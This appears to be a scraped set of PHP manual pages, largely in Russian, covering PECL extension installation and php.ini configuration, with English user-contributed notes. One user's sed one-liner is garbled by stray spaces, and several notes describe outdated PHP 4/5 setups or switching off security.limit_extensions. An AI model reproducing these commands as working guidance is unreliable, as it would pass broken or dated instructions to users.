ProxyFCGISetEnvIf "true" PHP_ADMIN_VALUE "open_basedir=/var/www/toto/:/tmp/ \n session.save_path=/var/www/toto/session \n display_errors=On \n error_reporting=-1"
ikrabbe 28-Feb-2018 09:52
It seems there is no way to get informed about the access log format codes that are used or can be used. All I found is the source code.

It would really help, not to have open questions when deploying php-fpm. I constantly struggle with file paths for example, but that is another topic.

                                case '%': /* '%' */
                                case 'C': /* %CPU */
                                case 'd': /* duration µs */
                                case 'e': /* fastcgi env  */
                                case 'f': /* script */
                                case 'l': /* content length */
                                case 'm': /* method */
                                case 'M': /* memory */
                                case 'n': /* pool name */
                                case 'o': /* header output  */
                                case 'p': /* PID */
                                case 'P': /* PID */
                                case 'q': /* query_string */
                                case 'Q': /* '?' */
                                case 'r': /* request URI */
                                case 'R': /* remote IP address */
                                case 's': /* status */
                                case 'T':
                                case 't': /* time */
                                case 'u': /* remote user */
mb 07-Apr-2015 11:52
If you need to disable security.limit_extensions variable, simply set the variable to FALSE like so:

security.limit_extensions = FALSE
gadnet at aqueos dot com 06-May-2014 02:24
the doc is lacking a lot of things it seems.

  The php fpm exemple config file indicate different thing, more option etc... I wonder why the main documentation is less verbose that the configuration file that user can have .. or not have ?
Yousef Ismaeil Cliprz 23-Jan-2014 02:03
Check if fastCGI enabled

<?php
// You can use isset or is_null for $_SERVER['FCGI_SERVER_VERSION']
function isFastCGI () {
    return !is_null($_SERVER['FCGI_SERVER_VERSION']);
}

?>
sroussey at gmail dot com 18-Feb-2013 12:15
Starting in 5.3.9 the security.limit_extensions configuration item has been added and it defaults to .php. If you need to execute other extensions, you have to change this setting.
Frank DENIS 29-May-2011 11:23
The default value for listen.backlog isn't exactly "unlimited".

It's 128 on some operating systems, and -1 (which doesn't mean "unlimited" as well, but is an alias to a hard limit) on other systems.

Check for a sysctl value like kern.somaxconn (OpenBSD) or net.core.somaxconn (Linux).

Crank it up if you need more PHP workers than the default value. Then adjust listen.backlog in your php-fpm configuration file to the same value.

-Frank.


Установка модулей PECL

Содержание

  • Введение в установку PECL
  • Загрузка модулей PECL
  • Установка PHP-модуля в Windows
  • Компиляция разделяемых модулей с помощью команды pecl
  • Компиляция разделяемых модулей с помощью phpize
  • php-config
  • Компиляция модулей PECL статически в PHP

User Contributed Notes

Boruta.info 14-Jan-2021 04:04
I was able to run it on Ubuntu + PHP 8.0. Currently newest version 0.5.0 is not adapted to PHP 8.0, although it seems to work. You have to download the source version and compile it manually (based on https://www.php.net/manual/en/install.pecl.phpize.php), but you will probably get compilation errors. In my case, there were a few minor bugs due to the missing `;` at the end of the return statement. There were also errors related to the removal of TSRM from PHP 8, but it was enough to add macros to the `.c` files.

May be useful (adds macros to the first line of all `.c` files in the current directory):

sed -i '1s / ^ / \ # ifndef \ TSRMLS_D \ n \ #define \ TSRMLS_D \ void \ n \ #define \ TSRMLS_DC \ n \ #define \ TSRMLS_C \ n \ #define \ TSRMLS_CC \ n \ #define \ TSRMLS_FETCH \ (\) \ n \ #endif \ n / '* .c


Введение в установку PECL

» PECL - это репозиторий модулей PHP, доступ к которым предоставляется через систему » PEAR. Эта часть руководства предназначена для демонстрации того, как вы можете получить и установить модули PECL.

Эти инструкции подразумевают, что /your/phpsrcdir/ является путём к каталогу с дистрибутивом исходного кода PHP, а extname - это имя модуля PECL, так что вносите соответствующие коррективы. Эти инструкции также подразумевают знакомство с » командой pear. Информация в руководстве PEAR для команды pear также применима для команды pecl.

Для того, чтобы модуль можно было использовать, он должен быть собран, установлен и загружен. Описанные ниже методы предоставляют различные рекомендации по поводу того, как собрать и установить модули, но без применения их автоматической загрузки. Модули могут быть загружены с помощью директивы extension в файле php.ini или путём использования функции dl().

В процессе сборки модулей PHP важно иметь нужные версии необходимых утилит (autoconf, automake, libtool и т.д.). Информацию об этих утилитах и их версиях можно посмотреть в разделе "» Инструкции по осуществлению анонимного доступа к Git".

User Contributed Notes

There are no user contributed notes for this page.


Загрузка модулей PECL

Есть несколько вариантов для загрузки модулей PECL, в том числе:

  • Команда pecl install extname автоматически скачивает код модуля, поэтому в этом случае нет нужды в отдельной скачке этих файлов.
  • » https://pecl.php.net/ Веб-сайт PECL содержит информацию о различных модулях, предоставляемых командой разработчиков PHP. Информация, доступная на этом веб-сайте, включает в себя: лог изменений, новости релизов, требования и другие подобные детали.
  • pecl download extname Модули PECL, имеющие опубликованные релизы на сайте PECL, доступны для скачивания и установки с помощью » команды pecl. Можно также указать отдельные ревизии для установки.
  • git Многие модули PECL находятся на GitHub.
  • SVN Многие модули PECL, также, находятся в SVN. Веб-интерфейс для просмотра доступен по адресу » https://svn.php.net/pecl/. Для загрузки напрямую из SVN используется следующая последовательность команд:

    $ svn checkout http://svn.php.net/repository/pecl/extname/trunk extname

  • Загрузка для Windows На данный момент проект PHP не компилирует бинарные файлы Windows для модулей PECL.

User Contributed Notes

There are no user contributed notes for this page.


Установка PHP-модуля в Windows

В Windows есть два способа загрузки PHP-модуля: скомпилировать его вместе с PHP или загрузить DLL. Загрузка заранее скомпилированного модуля является наиболее простым и предпочитаемым способом.

Для загрузки модуля, он должен присутствовать в вашей системе в виде ".dll" файла. Все модули автоматически и периодически компилируются командой PHP (смотрите следующий раздел для загрузки).

За инструкциями по компиляции модуля в PHP обратитесь к разделу "Сборка из исходников".

Для компиляции отдельного модуля (или DLL-файла), обратитесь к разделу " Сборка из исходников". Если DLL-файла нет ни в стандартной поставке PHP ни в PECL, возможно, вам придётся скомпилировать его вручную.

Где найти модуль?

PHP-модули обычно имеют имена вида "php_*.dll" (где звёздочка обозначает имя модуля) и располагаются в папке "PHP\ext".

PHP поставляет модули наиболее полезные большинству разработчиков. Такие модули называются "основными" ("core").

Однако, если вам требуется функционал, который не предоставляется ни одним из основных модулей, возможно, нужный вам модуль есть в » PECL. Библиотека модулей сообщества PHP (The PHP Extension Community Library, PECL) является хранилищем модулей PHP, предоставляя каталог и хостинг всех известных модулей для скачки и дальнейшей разработки модулей в PHP.

Если вы разработали какой-либо модуль для собственных нужд, возможно, вы захотите хранить его в PECL, так, чтобы другие также могли воспользоваться результатами вашего труда. Хорошим побочным эффектом будет неплохой шанс получить обратную связь, благодарности (надеемся, что так и будет), сообщения об ошибках и даже исправления/патчи. Пожалуйста, прочтите » публикация PECL; перед отправкой вашего модуля в PECL.

Какой модуль нужно загрузить?

Очень часто существует несколько версий модуля DLL:

  • Различные номера версий (по крайней мере первые два числа должны совпадать)
  • Различные настройки потокобезопасности
  • Различная архитектура процессора (x86, x64, ...)
  • Различные настройки отладки
  • и т.д.

Помните, что настройки ваших модулей должны совпадать со всеми настройками используемого вами бинарного файла PHP. Следующий PHP-скрипт выведет вам все настройки PHP:

Пример #1 Вызов phpinfo()

<?php
phpinfo();
?>

Или запустите из командной строки:

drive:\\path\to\php\executable\php.exe -i

Загрузка модуля

Наиболее распространённым способом загрузки PHP-модуля является его включение в конфигурационном файле php.ini. Обратите внимание, что большинство модулей уже прописаны в вашем php.ini и для их активации вам просто нужно удалить точку с запятой.

Обратите внимание, что в PHP 7.2.0 и выше для указания модуля можно использовать не имя файла библиотеки, а название самого модуля. Данный подход рекомендуется для использования, так как он более простой и платформонезависимый. Однако вы всё ещё можете прямо указывать имя файла модуля.

;extension=php_extname.dll

extension=php_extname.dll

; В PHP 7.2 и выше лучше делать так:
extension=extname
zend_extension=another_extension

Однако, некоторые веб-серверы создают путаницу, т.к. они не используют php.ini, расположенный в дистрибутиве PHP, а используют свой собственный. Узнать, где находится, используемый сервером php.ini, можно посмотрев на выводимый путь в phpinfo():

Configuration File (php.ini) Path  C:\WINDOWS

Loaded Configuration File   C:\Program Files\PHP\5.2\php.ini

После активации модуля сохраните php.ini, перезагрузите веб-сервер и снова проверьте phpinfo(), в нем должен появиться отдельный раздел с новым модулем.

Решение проблем

Если модуль не появился в выводе phpinfo(), проверьте лог-файлы на наличие сообщений об ошибках.

Если вы используете PHP в командной строке (CLI), ошибки загрузки модуля будут доступны сразу же на экране.

Если вы используете PHP на веб-сервере, расположение и формат лог-файлов сильно зависит от используемого вами веб-сервера. Пожалуйста, обратитесь к документации вашего веб-сервера, т.к. в данном случае эта ситуация не управляется самим PHP.

Распространёнными проблемами являются расположение библиотеки DLL и DLL-файлов, от которых она зависит, значение " extension_dir" в php.ini, а также несовпадение настроек компиляции.

Если проблемой является несовпадение настроек компиляции, то возможно, вы скачали не тот DLL-файл. Попробуйте снова скачать модуль, на этот раз с правильными настройками. Ещё раз, информация функции phpinfo() сильно помогает в этом случае.

User Contributed Notes

bk at kaelberer-aio dot de 26-Jan-2023 06:28
In addition to the helpful comments of ferdnyc and dario: A few weeks ago I've set up a new W11 using PHP 8.1. (as a module) with Apache. It was working fine.
Today i wanted to install the PECL-extension php-amqp. This extension comes with two additional files that are said to be placed in PHPs main directory. It worked fine running from the command prompt but with Apache the extension failed with "Unable to load dynamic library 'amqp'".
I tried 100 ways to notate paths in php.ini and http.conf: c:, C:, \, \\, /, ". I also installed a new PHP in the root to get rid of the space in the path. It did not help.
When reading dario's comment i stumbeled across him mentioning "path environment variable". I checked that in Window's settings and I realized, that i had added PHP's path to the USER'S path-settings, but not to the SYSTEM'S path. That is why it worked in the command prompt but not when starting Apache as a service. After adding it there it worked fine.
dario at 4assistance dot com 09-Jan-2023 10:57
On windows, drop your extension's dependencies into a dir of your choice, but outside of your php install. Add that dir to a path environment variable used by your php. Add <extension_name>.dll to your php's extension_dir, and update your php.ini (unless you're simply testing with php's cli).
ferdnyc at gmail dot com 03-Sep-2022 12:15
This is handwaved somewhat in the "Resolving problems" section, but mis-location of (non-extension) DLL files is often a problem when installing PHP extensions on Windows.

Many PHP extensions come with not only the extension DLL, but supplementary DLLs that are required by that extension. (For example, php_luasandbox.dll comes with lua5.1.dll, the lua interpreter it sandboxes.) Those other DLLs should go into the same directory as the php.exe binary, NOT the extension directory.

So, if php_luasandbox.dll is installed at C:\PHP8.1\ext\php_luasandbox.dll, the interpreter would be located at C:\PHP8.1\lua5.1.dll. That allows the PHP binary C:\PHP8.1\php.exe to find those additional DLLs when required.


Компиляция разделяемых модулей с помощью команды pecl

PECL позволяет легко создавать разделяемые модули PHP. Используя » команду pecl, выполните следующее:

$ pecl install extname

Эта команда загрузит исходный код для модуля extname, скомпилирует и установит extname.so в вашу директорию extension_dir. Файл extname.so может быть затем загружен в php.ini

По умолчанию, команда pecl не будет устанавливать пакеты, отмеченные состоянием alpha или beta. Если нет доступных стабильных (stable) версий пакетов, вы можете установить beta-версию пакета, используя следующую команду:

$ pecl install extname-beta

Также, вы можете установить определённую версию, используя такой вариант:

$ pecl install extname-0.1

Замечание:

После подключения модуля в php.ini необходимо перезапустить веб-сервер для того, чтобы изменения вступили в силу.

User Contributed Notes

ezekial aikle 27-Aug-2023 06:22
Options to pass to configure (with -D or --configureoptions=) need to be specified this way in a Dockerfile RUN command:

RUN pecl install -D 'with-example-dir="/dir" enable-example-thing="yes"' package
or
RUN pecl install --configureoptions='with-example-dir="/dir" enable-example-thing="yes"' package

Otherwise, docker build might quote the command in a way that pecl doesn't parse correctly, and the build will fail with an error like this one:

PHP Fatal error:  Uncaught TypeError: array_key_exists(): Argument #2 ($array) must be of type array, null given in /usr/local/lib/php/PEAR/Builder.php:397
giulliano dot scatalon dot rossi at gmail dot com 18-Apr-2020 05:41
To install the PECL on debian based linux distros (ubuntu, mint, kali, etc.)
Use the apitude command:

sudo apt-get install php-pear

I hope helped someone
Bichis Paul 13-Jan-2017 03:37
on Mageia Linux use urpmi

[afk@mageia5][~]$ sudo urpmi php-pear
ericn at amazon dot com 18-Nov-2013 11:55
To compile pecl extensions on Amazon Linux AMIs, follow the tutorial at http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/install-LAMP.html and then install these additional required packages with the following command:

[ec2-user ~]$ sudo yum install php-devel zlib-devel curl-devel gcc

You should then be able to compile pecl extensions; for example, enter the following command to compile the pecl_http extension:

[ec2-user ~]$ sudo pecl install pecl_http
ktcox at mail dot com 06-Apr-2011 05:22
The Arch Linux package that contains PECL is 'php-pear'

# pacman -S php-pear
zir dot echo at gmail dot com 03-Jun-2008 11:43
Install pecl for gentoo:

emerge dev-php/PEAR-PEAR
pedro dot fonini at gmail dot com 30-Mar-2008 05:27
to use the pecl, pear, or phpize commands in fedora, install the php-devel package:
$ yum install php-devel


Компиляция разделяемых модулей с помощью phpize

Иногда использование инсталлятора pecl не подходит. Это может быть связано с тем, что вы находитесь за файерволом или из-за того, что модуль, который вы хотите установить, недоступен в PECL-совместимом пакете (к примеру, модули из git, у которых ещё нет релизов). Если вам необходимо собрать такой модуль, вы можете использовать низкоуровневые утилиты для выполнения сборки вручную.

Команда phpize используется для подготовки окружения PHP-модуля. В следующем примере директория, где находятся исходные коды модуля, называется extname:

$ cd extname
$ phpize
$ ./configure
$ make
# make install

В случае успешной установки будет создан файл extname.so и помещён в PHP директорию модулей. Вам будет необходимо добавить строку extension=extname.so в php.ini перед использованием этого модуля.

Если в системе нет phpize, но существует возможность установки заранее скомпилированных пакетов (типа RPM), убедитесь, что установлена соответствующая версия пакета PHP для разработчиков, так как они часто содержат команду phpize с подходящими файлами заголовков для сборки PHP и его модулей.

Для дополнительной информации используйте команду phpize --help.

User Contributed Notes

gautama dot himawan at yahoo dot com 21-Oct-2014 10:08
If you failed to run phpize command, then you should install php-devel package. Command line to install the php-devel package using yum is: yum install php-devel.

If you failed to compile the PECL extension, then you should install gcc package. Command line to install the gcc package using yum is: yum install gcc.
admin at eexit dot net 19-Jun-2012 07:33
When compiling an extension for a stack which is 64 bits (for example) and your compiler is configured to compile in 32 bits, you can manually compile your extensions using C flags before your configure.

Example: my system compiler is 32 bits and my stack is 64 bits. To compile my xdebug:

# phpize
# CFLAGS=-m64 CPPFLAGS=-m64 CCASFLAGS=-m64 ./configure --enable-xdebug
# gmake
# file modules/xdebug.so
modules/xdebug.so:      ELF 64-bit LSB dynamic lib AMD64 Version 1, dynamically linked, not stripped, no debugging information available
Brian 01-May-2008 11:39
If you have multiple PHP versions installed, you may be able to specify for which installation you'd like to build by using the --with-php-config option during configuration.

--with-php-config=[Insert path to proper php-config here]

For example (my case):
./configure --with-php-config=/usr/local/php5/bin/php-config5
Glen 17-May-2007 04:07
When you have multiple installations of PHP, running phpize from a specific installation will not force the module to be compiled with that installation's include files.

In my case, I had a standard PHP distribution installed, and am evaluating Zend Core / Zend Platform, which installed it's own Apache & PHP in a /usr/local/Zend/.. install path.  It was missing the json.so module, so I had to compile my own.

Running Zend Core's phpize, the output indicates that configuration for that module will occur.  But when running ./configure, the standard installation's include files are used.  The result json.so being compiled against the wrong PHP would not load when Zend Core's php initializes.

The only way I could see to correct the situation was to temporarily change the standard PHP include path to point to the Zend Core's include files.  In my case, I made a backup copy of /usr/include/php5 and did a "ln -s /usr/local/Zend/Core/include/php/ /usr/include/php5".
dmytton at php dot net 03-Dec-2005 11:45
In some situations (e.g. on a cPanel server), the built extension will not be placed into the correct extensions directory by the make install process. Use your phpinfo() output to determine what the correct extension_dir path is and move the generated .so file into that directory. The extension=extname.so line in php.ini will then find the extension file correctly.


php-config

php-config - это простой скрипт командной строки для получения информации о конфигурации установленного PHP.

При компиляции модулей, если у вас установлено сразу несколько версий PHP, вы должны уточнить нужную версию с помощью опции --with-php-config во время конфигурирования сборки, указав путь до соответствующего php-config скрипта.

Список параметров командной строки доступных для php-config скрипта всегда можно получить запустив php-config с параметром -h:

Usage: /usr/local/bin/php-config [OPTION]
Options:
  --prefix            [...]
  --includes          [...]
  --ldflags           [...]
  --libs              [...]
  --extension-dir     [...]
  --include-dir       [...]
  --php-binary        [...]
  --php-sapis         [...]
  --configure-options [...]
  --version           [...]
  --vernum            [...]

Опции скрипта
Опция | Описание
--prefix | Директория, в которой установлен PHP, например, /usr/local
--includes | Список -I опций со всеми подключаемыми файлами
--ldflags | LD-флаги, с которыми был скомпилирован PHP
--libs | Внешние библиотеки, с которыми был скомпилирован PHP
--extension-dir | Директория, в которой по умолчанию ищутся модули
--include-dir | Директория, куда по умолчанию устанавливаются заголовочные файлы
--php-binary | Полный путь до исполняемых файлов php CLI или CGI
--php-sapis | Показывает все доступные модули SAPI
--configure-options | Конфигурационные опции для воссоздания настроек текущей установки PHP.
--version | Версия PHP
--vernum | Версия PHP в виде целого числа

User Contributed Notes

There are no user contributed notes for this page.


Компиляция модулей PECL статически в PHP

Возможно, вы захотите собрать модуль PECL статично в ваш бинарный файл PHP. Для этого необходимо поместить код модуля в директорию php-src/ext/ и вызвать перегенерацию конфигурационных скриптов через систему сборки PHP.

$ cd /your/phpsrcdir/ext
$ pecl download extname
$ gzip -d < extname.tgz | tar -xvf -
$ mv extname-x.x.x extname

В результате будет создана следующая директория:

/your/phpsrcdir/ext/extname

После этого, выполните заново сборку конфигурационного скрипта PHP и затем соберите PHP как обычно:

$ cd /your/phpsrcdir
$ rm configure
$ ./buildconf --force
$ ./configure --help
$ ./configure --with-extname --enable-someotherext --with-foobar
$ make
$ make install

Замечание: Для запуска 'buildconf' скрипта вам понадобится autoconf версии 2.13 и automake версии 1.4+ (более новые версии autoconf могут работать, но это не поддерживается).

В зависимости от модуля будет использоваться одна из двух опций --enable-extname или --with-extname . Обычно, если модуль не требует подключения внешних библиотек, используется --enable. Чтобы узнать это, выполните следующую команду после buildconf:

$ ./configure --help | grep extname

User Contributed Notes

anthon at piwik dot org 15-Aug-2012 02:20
Some extensions cannot be statically linked (e.g., xdebug).


Проблемы?

Содержание

  • Читайте FAQ
  • Другие проблемы
  • Сообщения о багах

User Contributed Notes

There are no user contributed notes for this page.


Читайте FAQ

Некоторые проблемы возникают чаще других. Наиболее часто встречающиеся из них перечислены в разделе PHP FAQ этого руководства.

User Contributed Notes

There are no user contributed notes for this page.


Другие проблемы

Если вы всё ещё не можете установить PHP, список рассылки, возможно, сможет помочь вам. Не забудьте сначала просмотреть архив, возможно, кто-то уже сталкивался с похожей проблемой и успешно её решил. Архив рассылки доступен на странице поддержки: » https://www.php.net/support.php Для подписки на список рассылки об установке PHP пришлите пустое сообщение на » php-install-subscribe@lists.php.net. Адрес списка рассылки: » php-install@lists.php.net.

Если вы хотите получить помощь из списка рассылки, пожалуйста, постарайтесь точно описать детали вашего окружения (такие как операционная система, версия PHP, используемый веб-сервер, используете ли вы PHP как CGI или модулем и т.д.), а также достаточное количество кода, чтобы другие смогли воспроизвести вашу проблему и попробовать решить её.

User Contributed Notes

There are no user contributed notes for this page.


Сообщения о багах

Если вы думаете, что нашли ошибку в PHP, пожалуйста сообщите об этом. Возможно, разработчики PHP не знают об этой ошибке и пока вы не сообщите о ней, мало шансов что она будет исправлена. Вы можете сообщить об ошибке, используя систему отслеживания ошибок по адресу: » https://github.com/php/php-src/issues. Пожалуйста, не шлите сообщения об ошибках в список рассылки или на личные адреса разработчиков. Система отслеживания ошибок также пригодна и для запроса нововведений.

Прочитайте: » Как сообщать об ошибках перед тем как сообщать о них.

User Contributed Notes

There are no user contributed notes for this page.


Конфигурация времени выполнения

Содержание

  • Файл конфигурации
  • Файлы .user.ini
  • Где могут быть установлены параметры конфигурации
  • Как изменить настройки конфигурации

User Contributed Notes

goran 17-Sep-2013 10:30
To run separate apache and php processes on centos (at least) without
having to compile and install separate versions for every instance
this should work:

Install apache and php with yum.

This will give you (for the first instance):

/etc/httpd/*, /etc/sysconfig/httpd, /etc/init.d/httpd, /etc/php.ini
and /etc/php.d/*.

Copy all this stuff to:
/etc/httpd2/*, /etc/sysconfig/httpd2, /etc/init.d/httpd2,  /etc/php2.ini
and /etc/php2.d/*.

Then:

Edit the apache config files in /etc/httpd2/* to reflect the new
ports you want to have this apache listen on (don't forget ssl.conf
under conf.d) and any other differing settings, like log file
destinations and virtualhosts.

Edit the php2.ini for any specific settings you want the other php
instance to have.

To have a completely separate php in this new apache instance with its own
modules included, edit /etc/sysconfig/httpd2 and add the following:

PHPRC=/etc/php2.ini
export PHPRC
PHP_INI_SCAN_DIR=/etc/php2.d
export PHP_INI_SCAN_DIR

This will set the environment variables for the second apache/php
instance before it is started.

Then edit /etc/init.d/httpd2 and change all references to httpd
(like lockfile, pidfile and sysconfig) to httpd2. Don't touch the
executable name, though :)

And change this:

LANG=$HTTPD_LANG daemon --pidfile=${pidfile} $httpd $OPTIONS

to this:

LANG=$HTTPD_LANG daemon --pidfile=${pidfile} $httpd -f /etc/httpd2/conf/httpd.conf $OPTIONS

.. so this apache can find its own configuration file.

Then, if necessary 'chkconfig --add /etc/init.d/httpd2' to have it
in startup and you should have two apache instances with two separate
php modules with their own dedicated settings.
salivatears at gmail dot com 30-Nov-2010 07:18
For windows with limited file permission (Windows XP)

1. Install Apache in your folder profile "C:\Documents and Settings\your_profile"

2. Add the following directives to you httpd.conf
PHPINIDir "C:\Documents and Settings\your_profile\php"

LoadModule php5_module "C:\Documents and Settings\your_profile\php\php5apache2_2.dll"

AddType application/x-httpd-php .php

3. Edit the following directive to you php.ini
extension_dir = "C:\Documents and Settings\your_profile\php\ext"

4. Move the file libmysql.dll from C:\Documents and Settings\your_profile\php\ to C:\Documents and Settings\your_profile\php\ext\

5. Restart httpd using command line
georgeATdlouhyDOTinfo 23-Oct-2008 10:10
PHP 5.2.6 & Apache 2.2
----------------------
If you tried everything above and you server is not executing php script, look in php.ini at value:

short_open_tag = Off
;it does not recognise '<?', only '<? php' or '<script>'

Some editors come with '<?' as default, like mine did. After two days I finally found out...
php at chrismonster dot com 27-Jul-2008 10:33
w2k, apache 1.3.29, php 5.2.6: c:\php\php.ini was not found until the environment variable PHPRC was set to "c:\php", even though php was used as a module, not CGI.

just adding c:\php to the path was not adequate.

phpinfo() still shows "Configuration File (php.ini) Path" to be C:\WINNT, but "Loaded Configuration File" now correctly displays "C:\php\php.ini".

initially the problem appeared to be simply that the mysql extension was not loading; in fact, the problem was more fundamental (php.ini not found) but because php will still work with defaults, this was not obvious.
Anonymous 06-Feb-2008 02:03
Hello,

Having tried EVERYTHING on every php / mysql site to get php5.2.5 to talk to mysql server 5.0 (including all php.ini settings, all dlls, and many more ...)

Please try this: set Apache2.2 service Startup Type to MANUAL.  If not, it does not see to reload php.ini, no matter how many times you stop and start.

After 2 days, I finally see mysql info for <?php phpinfo(); ?>

Hope this helps!!
DK
jaw at jawspeak dot com - Jonathan Andrew Wolte 25-Jun-2007 05:01
Be sure to use double quotes in the php.ini file. For instance:

(lines broken for readability)

this will work:
# xdebug debugging
zend_extension="/usr/local/php5/lib/php/extensions
/no-debug-non-zts-20060613/xdebug.so"

this won't:
# xdebug debugging
zend_extension='/usr/local/php5/lib/php/extensions
/no-debug-non-zts-20060613/xdebug.so'

You'll get this error:
Failed loading '/usr/local/php5/lib/php/extensions/
no-debug-non-zts-20060613/xdebug.so':  (null)

So... double quotes are the way! I know this is obvious, but it's a good thing to remember for the php.ini file.
alvaro at demogracia dot com 16-Jun-2007 05:01
About Apache 2.0 module:

For whatever reason, the Windows installer for PHP/5.2.3 tries to set the PHPIniDir directive using "\\" as directory separator:

PHPIniDir "C:\\Archivos de programa\\PHP\\"

It didn't work for me until I edited httpd.conf and replaced it with "/":

PHPIniDir "C:/Archivos de programa/PHP/"
henrick at streamsec dot se 01-Apr-2007 05:07
In order to get PHP 5.2 stable running on Windows Server 2003 x64 (IIS 6.0), I discovered three things (in addition to the other comments above):

* Some PHP web applications make use of the SCRIPT_NAME server variable which is not available under CGI. You have to use php5isapi.dll, which is a 32 bit dll, so you have to run IIS in 32 bit mode. Confer http://support.microsoft.com/kb/894435. This applies to all ISAPI extensions and not just ASP.NET.

* It appears you must leave the doc_root entry in php.ini blank. At least, that is what finally made my installation work. (Note that others have suggested to set it to e.g. C:\inetpub\wwwroot or equivalent. That won't work if your server hosts more than one domain, each placed in a separate directory.)

* If you are e.g. using MySQL you will have to edit php.ini. In order for it to be found, you must set the PHPRC system environment variable or the registry entry. Note that if you edit the registry using regedit.exe, the PHP key should be placed under the [HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node] key. This happens automatically if you set it using a 32 bit legacy application.
gprochnow AT PINT DOT COM 29-Mar-2007 12:19
Run php 4 and php 5.2.x on the same machine with IIS 6.0 as ISAPI.

1. Extract the ZIP packages of both php 4 & php 5 (not the Windows Installer) to c:\php4 & c:\php5 respectively

2. Setup the corresponding php.ini files in c:\php4 and c:\php5

3. Add the Web Service Extensions for php4 and php5. For php4 use c:\php4\sapi\php4isapi.dll, php5 use c:\php5\php5isapi.dll

4. Add the following registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\PHP\5\IniFilePath -> c:\php5

HKEY_LOCAL_MACHINE\SOFTWARE\PHP\IniFilePath -> c:\php4

5. Add c:\php4 to the PATH environment variable.

6. Associate each web site in IIS with the corresponding php version.

7. Reboot

Note: That should work, test with phpinfo() in each site. You may need to refer to the php documentation if we missed any other settings.
cduke420 at gmail dot com 07-Jan-2007 10:16
[ When php run as Apache Module ]
DOCUMENT_ROOT .htaccess
+======================================+
SetEnv PHPRC /home/user/dir-containing-phpinifile
+======================================+

[ When php run as CGI ]
Place your php.ini file in the dir of your cgi'd php binary, in this case /cgi-bin/
DOCUMENT_ROOT .htaccess
+======================================+
AddHandler php-cgi .php .htm
Action php-cgi /cgi-bin/php5.cgi
+======================================+

[ PHP run as cgi with wrapper (for FastCGI) ]
Your wrapper script should look something like:
+======================================+
#!/bin/sh
export PHP_FCGI_CHILDREN=3
exec /user/htdocs/cgi-bin/php.cgi -c /home/user/php.ini
+======================================+

original article:
http://www.askapache.com/2007/php/custom-phpini-tips-and-tricks.html
Alonso 18-Nov-2006 04:21
Setting php.ini location for PHP working as Apache module (without use SetEnv directive in httpd.conf):

Before start Apache, set the PHPRC environment variable to the path where php.ini should be loaded, for example:

    PHPRC=/etc/php4/apache-another-path
    export PHPRC

In Debian we can do this way:

    In /etc/init.d/apache (the script that loads apache web server) we have this line:

    ENV="env -i LANG=C PATH=/bin:/usr/bin:/usr/local/bin"

    Set to this:

    ENV="env -i LANG=C PATH=/bin:/usr/bin:/usr/local/bin PHPRC=/etc/php4/apache-another-path"

Then wen you reload apache the php.ini will be loaded in the directory configured in PHPRC environment variable.
c dot affolter at stepping-stone dot ch 13-Mar-2006 05:38
For those people who want to use the PHPRC environment variable:
You have to specify the path to the directory containing your php.ini, not the direct path to the php.ini.

Example (php.ini resides in /your/path/php.ini):
right:
export PHPRC=/your/path

wrong:
export PHPRC=/your/path/php.ini
randy AT rcs-comp DOT com 26-May-2005 12:47
(copied from another page)
Please note that the SetEnv PHPRC "directory/to/phpini/" only works when using PHP as CGI, but _not_ when you use the PHP Apache Module!
Jorrit Schippers 26-May-2004 04:33
For IIS users: If you experience high parsetimes, try to set output_buffering to On. IIS has problems with scripts outputting many small pieces of text, and with output_buffering = On, PHP sends the whole page to IIS in one piece.


Файл конфигурации

Файл конфигурации (php.ini) считывается при запуске PHP. Для версий серверных модулей PHP это происходит только один раз при запуске веб-сервера. Для CGI и CLI версий это происходит при каждом вызове.

Поиск php.ini производится в следующих местах (по порядку поиска):

  • По месту расположения модуля SAPI (PHPIniDir директива Apache 2, -c параметр командной строки CGI и CLI)
  • Переменная среды PHPRC.
  • Местоположение файла php.ini может быть указано для различных версий PHP. Корневой ключ реестра зависит от разрядности операционной системы и установки PHP. Для 32-разрядного PHP на 32-разрядной Windows или 64-разрядного PHP и 64-разрядной Windows используйте [(HKEY_LOCAL_MACHINE\SOFTWARE\PHP]. Для 32-разрядного PHP на 64-разрядной Windows [HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\PHP]. Следующие ключи реестра исследуются при поиске для установок с совпадающей разрядностью: [HKEY_LOCAL_MACHINE\SOFTWARE\PHP\x.y.z], [HKEY_LOCAL_MACHINE\SOFTWARE\PHP\x.y] и [HKEY_LOCAL_MACHINE\SOFTWARE\PHP\x], где x, y и z подразумевают major, minor и release версии PHP. Для 32-разрядного PHP на 64-разрядной Windows ключи реестра будут другими: [HKEY_LOCAL_MACHINE\SOFTWARE\WOW6421Node\PHP\x.y.z], [HKEY_LOCAL_MACHINE\SOFTWARE\WOW6421Node\PHP\x.y] и [HKEY_LOCAL_MACHINE\SOFTWARE\WOW6421Node\PHP\x]. Если также имеется значение IniFilePath в любом из этих ключей, то местонахождение php.ini будет определено первым ключом по порядку (только для Windows).
  • [HKEY_LOCAL_MACHINE\SOFTWARE\PHP] или [HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\PHP], значение IniFilePath (только для Windows).
  • Текущая директория (исключая CLI).
  • Директория веб-сервера (для модулей SAPI) или директория PHP (иначе в Windows).
  • В директории Windows (C:\windows или C:\winnt) (для Windows) или --with-config-file-path с выбором при компиляции.

Если файл php-SAPI.ini существует (где SAPI - это тип интерфейса, который используется, например, php-cli.ini или php-apache.ini), то он используется вместо php.ini. Тип интерфейса между веб-сервером и PHP может быть определён с помощью функции php_sapi_name().

Замечание:

Веб-сервер Apache изменяет текущую директорию на корневую при запуске, в результате чего PHP считывает php.ini из корневой файловой системы, если файл существует.

В php.ini можно использовать переменные окружения, как показано ниже.

Пример #1 Переменные окружения php.ini

; PHP_MEMORY_LIMIT взята из переменных окружения
memory_limit = ${PHP_MEMORY_LIMIT}

Директивы php.ini, обрабатываемые модулями, описаны на соответствующих страницах модулей. Список директив ядра имеется в приложении. Не все директивы PHP документированы в этом руководстве: для ознакомления с полным списком директив доступных в вашей версии PHP, прочитайте комментарии вашего php.ini. Кроме того, вы можете найти полезной » последнюю версию php.ini из Git.

Пример #2 Пример php.ini

; любой текст в строке после точки с запятой (;) без кавычек игнорируется
[php] ; маркеры разделов (текст в квадратных скобках) также игнорируется
; Могут быть установлены следующие логические значения:
;    true, on, yes
; или false, off, no, none
register_globals = off
track_errors = yes

; вы можете заключать строки в двойные кавычки
